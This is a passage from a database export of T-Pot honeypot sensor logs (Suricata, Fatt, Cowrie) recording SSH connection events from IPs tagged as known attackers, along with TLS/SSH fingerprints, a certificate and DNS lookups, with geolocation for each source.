"country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1721375464591373, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48797, "timestamp": "2021-09-20T11:48:39.365995Z", "@timestamp": "2021-09-20T11:48:39.365Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32027	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:48:40.098012+03	2021-09-20 15:00:02.932717+03	{"_id": "mgYJA3wBvYTbRNuEaEci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35696, "dest_port": 443, "timestamp": "2021-09-20T11:48:40.098012", "@timestamp": "2021-09-20T11:48:40.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32028	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:49:02.177841+03	2021-09-20 15:00:02.933717+03	{"_id": "ygYJA3wBvYTbRNuEvUcZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 747111527078642, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54888, "dest_port": 22, "timestamp": "2021-09-20T11:49:02.177841Z", "@timestamp": "2021-09-20T11:49:02.177Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32029	36.27.214.211	109.199.241.180	Fatt	2021-09-20 14:49:02.178086+03	2021-09-20 15:00:02.935717+03	{"_id": "zQYJA3wBvYTbRNuEvkce", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54888, "dest_port": 22, "timestamp": "2021-09-20T11:49:02.178086", "@timestamp": "2021-09-20T11:49:02.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32030	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:49:01.87637+03	2021-09-20 15:00:02.936716+03	{"_id": "0AYJA3wBvYTbRNuEv0d1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:54888 (192.168.176.2:22) [session: 0ee04c337f15]", "session": "0ee04c337f15", "@version": "1", "protocol": "ssh", "src_port": 54888, "dest_port": 22, "timestamp": "2021-09-20T11:49:01.876370Z", "@timestamp": "2021-09-20T11:49:01.876Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32031	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:48:54.236184+03	2021-09-20 15:00:02.938716+03	{"_id": "vAYJA3wBvYTbRNuEoEcx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7d1aa67d4d69", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:48:54.236184Z", "@timestamp": "2021-09-20T11:48:54.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32032	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:49:01.879306+03	2021-09-20 15:00:02.939716+03	{"_id": "0QYJA3wBvYTbRNuEv0d1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "0ee04c337f15", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:49:01.879306Z", "@timestamp": "2021-09-20T11:49:01.879Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32033	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:48:43.106819+03	2021-09-20 15:00:02.941716+03	{"_id": "rwYJA3wBvYTbRNuEdUc0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "6b34f6d1eedf", "@version": "1", "duration": 1.7314786911010742, "timestamp": "2021-09-20T11:48:43.106819Z", "@timestamp": "2021-09-20T11:48:43.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32034	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:49:09.191926+03	2021-09-20 15:00:02.942716+03	{"_id": "1gYJA3wBvYTbRNuE2Ed0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"tls": {"ja3": {"hash": "f0a8f03cd88db5395e12077d3e4aa1fc", "string": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2"}, "sni": "api.ipify.org", "serial": "76:99:FF:F0:42:9F:69:2B:54:74:C2:72:14:2B:94:81", "subject": "CN=*.ipify.org", "version": "TLS 1.2", "issuerdn": "C=GB, ST=Greater Manchester, L=Salford, O=Sectigo Limited, CN=Sectigo RSA Domain Validation Secure Server CA", "notafter": "2022-02-19T23:59:59", "notbefore": "2021-01-19T00:00:00", "certificate": "MIIFrzCCBJegAwIBAgIQdpn/8EKfaStUdMJyFCuUgTANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTcwNQYDVQQDEy5TZWN0aWdvIFJTQSBEb21haW4gVmFsaWRhdGlvbiBTZWN1cmUgU2VydmVyIENBMB4XDTIxMDExOTAwMDAwMFoXDTIyMDIxOTIzNTk1OVowFjEUMBIGA1UEAwwLKi5pcGlmeS5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDi5xszccodY38ui2eLr1pJvLTS1T8qF4Af1kEvOVVV6iASSYXU3zvCttTFhGHKcWo+z4k2+eqoqoSfBi3KT9p5qReDBGX6wFWYeXS9aR3V3XRwdO01Zhlh5URhWY450jYYeVDZGpwGiNmukF3NnTjTncQfjzwjEzRvF+sOpw6nUJNqEKJVRS7gCV2NGdhJn0eVetcAIScSWblVMZlDnQPli9LhaSGPMYX33q7bo+9U4ZjGpy1nJZmqnaJ8d6REua8+Kxtwe6WyVPuCzKVBRJK8+eifaU3Py+1yxG9AHgxfvreyICryDnelb3rTly8Pd6mTB+QMsw+0BbhTZUN21bpBAgMBAAGjggJ9MIICeTAfBgNVHSMEGDAWgBSNjF7EVK2K4Xfpm/mbBeG4AY1h4TAdBgNVHQ4EFgQU5m11ZWyJky6maQsCQUivWDdHe1EwDgYDVR0PAQH/BAQDAgWgMAwGA1UdEwEB/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMEkGA1UdIARCMEAwNAYLKwYBBAGyMQECAgcwJTAjBggrBgEFBQcCARYXaHR0cHM6Ly9zZWN0aWdvLmNvbS9DUFMwCAYGZ4EMAQIBMIGEBggrBgEFBQcBAQR4MHYwTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jcnQuc2VjdGlnby5jb20vU2VjdGlnb1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcnQwIwYIKwYBBQUHMAGGF2h0dHA6Ly9vY3NwLnNlY3RpZ28uY29tMCEGA1UdEQQaMBiCCyouaXBpZnkub3JngglpcGlmeS5vcmcwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdgBGpVXrdfqRIDC1oolp9PN9ESxBdL79SbiFq/L8cP5tRwAAAXcaPX+aAAAEAwBHMEUCIQC/SUf358/9VcPSqo7iVRvdDkR3ywMzzzhtC4p5LIPa+QIgXpOJRtEBbu5za01MvqOr8Y8PXvFrv0KYbht4mAMJ9mMAdQDfpV6raIJPH2yt7rhfTj5a6s2iEqRqXo47EsAgRFwqcwAAAXcaPYDdAAAEAwBGMEQCICaWtZ/vU/zCUWUmENBF0q1tUMAu0SdshiUB3cN8qDBUAiB/3OKK/AIEOaTSthSHphNxTY4/0waUaIsSSvcbnRt+4TANBgkqhkiG9w0BAQsFAAOCAQEAeCY/tKHxlKWMHmvrS8XMZ2jIbIUN7dO2pQISBmOLYNeuVqxqmWLFki8EuhMVawVgazOlF3Dq1fCrEtvSgch3ok5Z+KCVZJKbBzF8ygbw2xZumVZmSb8xCwZCUF/2wQQfXTW4b/3ub2ia1zDfELnfFvFsmSMDxOj0+gHvmPUMhEScqf/1lw6j5OWBifSuh1pK/TnDYFNk3BvSYwB9D2/vjXaMoRwOv34lPmWekSHKN8WqUwlBddwVDsTCieYxiPAQV5O85F30yOIcPqNJUS8FJBbRIbcgrsEtPoo99/g5hCNj+MLUPAvc3mOA7wDBx+8LZM/k++zmZIGzxDKORByhXQ==", "fingerprint": "6f:de:ae:2b:9f:c6:cd:5b:7f:5c:d0:69:fa:c8:8b:62:19:fd:56:ad"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "dest_ip": "50.19.104.221", "flow_id": 1566666449508523, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0"]}, "src_port": 49316, "dest_port": 443, "timestamp": "2021-09-20T11:49:09.191926Z", "@timestamp": "2021-09-20T11:49:09.191Z", "event_type": "tls", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tls	\N	\N
32035	50.19.104.221	109.199.241.180	Fatt	2021-09-20 14:49:09.190651+03	2021-09-20 15:00:02.943716+03	{"_id": "2gYJA3wBvYTbRNuE2Ud5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "50.19.104.221", "asn": 14618, "as_org": "Amazon.com, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "50.19.104.221", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "303951d4c50efb2e991652225a6f02b1", "ja3sCiphers": "49199", "ja3sVersion": "771", "ja3sAlgorithms": "771,49199,65281-11", "ja3sExtensions": "65281-11"}, "protocol": "tls", "src_port": 443, "dest_port": 49316, "timestamp": "2021-09-20T11:49:09.190651", "@timestamp": "2021-09-20T11:49:09.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32036	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:49:09.808371+03	2021-09-20 15:00:02.944716+03	{"_id": "5gYJA3wBvYTbRNuE2kfR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1f3b5eb8f612", "@version": "1", "timestamp": "2021-09-20T11:49:09.808371Z", "@timestamp": "2021-09-20T11:49:09.808Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32037	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:49:09.806972+03	2021-09-20 15:00:02.946717+03	{"_id": "6QYJA3wBvYTbRNuE3Edd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 366497968232143, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2133, "dest_port": 22, "timestamp": "2021-09-20T11:49:09.806972Z", "@timestamp": "2021-09-20T11:49:09.806Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32038	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:49:09.541567+03	2021-09-20 15:00:02.947749+03	{"_id": "6wYJA3wBvYTbRNuE3Udi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2133, "timestamp": "2021-09-20T11:49:09.541567", "@timestamp": "2021-09-20T11:49:09.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32039	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:49:08.865614+03	2021-09-20 15:00:02.948717+03	{"_id": "2AYJA3wBvYTbRNuE2Ed0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 39971, "type": "query", "tx_id": 0, "rrname": "api.ipify.org", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1307707838838094, "@version": "1", "in_iface": "enp5s0", "src_port": 60160, "dest_port": 53, "timestamp": "2021-09-20T11:49:08.865614Z", "@timestamp": "2021-09-20T11:49:08.865Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32040	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:49:08.939323+03	2021-09-20 15:00:02.950747+03	{"_id": "1wYJA3wBvYTbRNuE2Ed0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 39971, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "api.ipify.org", "rrtype": "A", "answers": [{"ttl": 3600, "rdata": "nagano-19599.herokussl.com", "rrname": "api.ipify.org", "rrtype": "CNAME"}, {"ttl": 3600, "rdata": "elb097307-934924932.us-east-1.elb.amazonaws.com", "rrname": "nagano-19599.herokussl.com", "rrtype": "CNAME"}, {"ttl": 60, "rdata": "50.19.104.221", "rrname": "elb097307-934924932.us-east-1.elb.amazonaws.com", "rrtype": "A"}, {"ttl": 60, "rdata": "23.23.145.149", "rrname": "elb097307-934924932.us-east-1.elb.amazonaws.com", "rrtype": "A"}, {"ttl": 60, "rdata": "50.16.216.118", "rrname": "elb097307-934924932.us-east-1.elb.amazonaws.com", "rrtype": "A"}, {"ttl": 60, "rdata": "54.243.59.231", "rrname": "elb097307-934924932.us-east-1.elb.amazonaws.com", "rrtype": "A"}, {"ttl": 60, "rdata": "50.16.248.208", "rrname": "elb097307-934924932.us-east-1.elb.amazonaws.com", "rrtype": "A"}, {"ttl": 60, "rdata": "54.243.45.255", "rrname": "elb097307-934924932.us-east-1.elb.amazonaws.com", "rrtype": "A"}, {"ttl": 60, "rdata": "50.16.239.65", "rrname": "elb097307-934924932.us-east-1.elb.amazonaws.com", "rrtype": "A"}, {"ttl": 60, "rdata": "54.235.247.117", "rrname": "elb097307-934924932.us-east-1.elb.amazonaws.com", "rrtype": "A"}], "grouped": {"A": ["50.19.104.221", "23.23.145.149", "50.16.216.118", "54.243.59.231", "50.16.248.208", "54.243.45.255", "50.16.239.65", "54.235.247.117"], "CNAME": ["nagano-19599.herokussl.com", "elb097307-934924932.us-east-1.elb.amazonaws.com"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1307707838838094, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 60160, "timestamp": "2021-09-20T11:49:08.939323Z", "@timestamp": "2021-09-20T11:49:08.939Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
